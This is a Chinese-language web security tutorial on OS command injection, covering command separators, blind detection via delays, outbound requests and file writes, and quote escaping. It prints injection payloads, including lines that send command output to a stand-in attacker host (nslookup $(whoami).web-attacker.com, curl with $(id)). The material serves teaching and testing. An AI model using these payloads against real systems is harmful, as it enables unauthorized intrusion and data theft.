操作系统命令注入

用户提交的信息可能会被拼接到一条操作系统命令(或者其他存在于 OS 中的命令行程序)中,如果没有做好充分的净化,则可能导致额外命令的执行。

基本介绍#

操作系统命令注入:用户提交的信息可能会被拼接到一条操作系统命令(或者其他存在于 OS 中的命令行程序)中,如果没有做好充分的净化,则可能导致额外命令的执行。

常用的、用于验证的命令:

命令用途LinuxWindows
当前用户名whoamiwhoami
操作系统uname -aver
网络配置ifconfigipconfig /all
网络连接netstat -annetstat -an
运行进程ps -eftasklist

命令分隔符#

命令分隔符能让你注入的信息逃逸出固有命令的范围,从而注入新的命令。

Windows 和基于 Unix 的系统上均有效#

分隔符:

  • &
  • &&
  • |
  • ||

仅在基于 Unix 的系统上有效#

分隔符:

  • ;
  • 换行符(0x0a 或者 \n)
  • 反引号
  • $()

不回显命令结果#

服务器也许并不会回显命令的结果(尤其是对你额外注入的命令),此时你需要选择合适的命令去发现/测试命令注入漏洞。

常用的手段:

  • 响应延时
  • 让服务器发起对外访问
  • 写入文件

常用的命令:

命令描述
ping -c 10 127.0.0.1能观察响应时间上的差异。
nslookup www.web-attacker.com向受控服务器发起 DNS 解析。
whoami > /var/www/static/whoami.txt将命令结果写入文件中。通过观察文件是否被创建来判断命令是否被执行。注意,有些时候 403 响应恰恰能证明文件已经被创建。
curl http://www.web-attacker.com通过操作系统原生命令(不依赖第三方工具,因为你并不知道目标服务器有没有装)发起对受控服务器的 HTTP 请求。

如果验证了目标存在“命令注入漏洞”,则可采取进一步的措施来获得命令执行的结果:

方法描述
内联命令nslookup $(whoami).web-attacker.com、curl http://www.web-attacker.com/id=$(id) 等等,这些都可以在日志中看到命令执行的结果。
写入文件whoami > /var/www/static/whoami.txt,命令结果写入文件之后,通过访问文件来获取结果。

注意#

单/双引号#

你输入的信息的所在位置可能处于单引号或者双引号当中:

Text
"injected command"

此时你需要先逃逸出去,否则你输入的特殊字符(比如分隔符)在其中会被当作普通字符串处理:

Text
"& id"  ← ❌
"" & id & "" ← ✅

响应报错#

响应报错不一定是命令执行失败了,这点在盲注中尤需注意,否则可能会错过漏洞。

命令分隔符被 Ban#

如果你无法逃逸原有命令的范围(比如分隔符都被禁用),则可以考虑参数注入,部分命令的参数以及命令对重复参数的处理行为等都可能出现一定的危害,比如:

  • 文件写入
  • 参数覆盖

关注点#

  • 涉及到命令执行的函数/方法(部分函数/方法正常使用可能不涉及命令执行,但是对于特殊参数(比如管道符)就可能走命令执行路径)
  • 参数注入(寻找那些“危险参数”)
  • 多重过滤器间的解析差异
  • 双引号中的特殊表达式(比如 $())

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做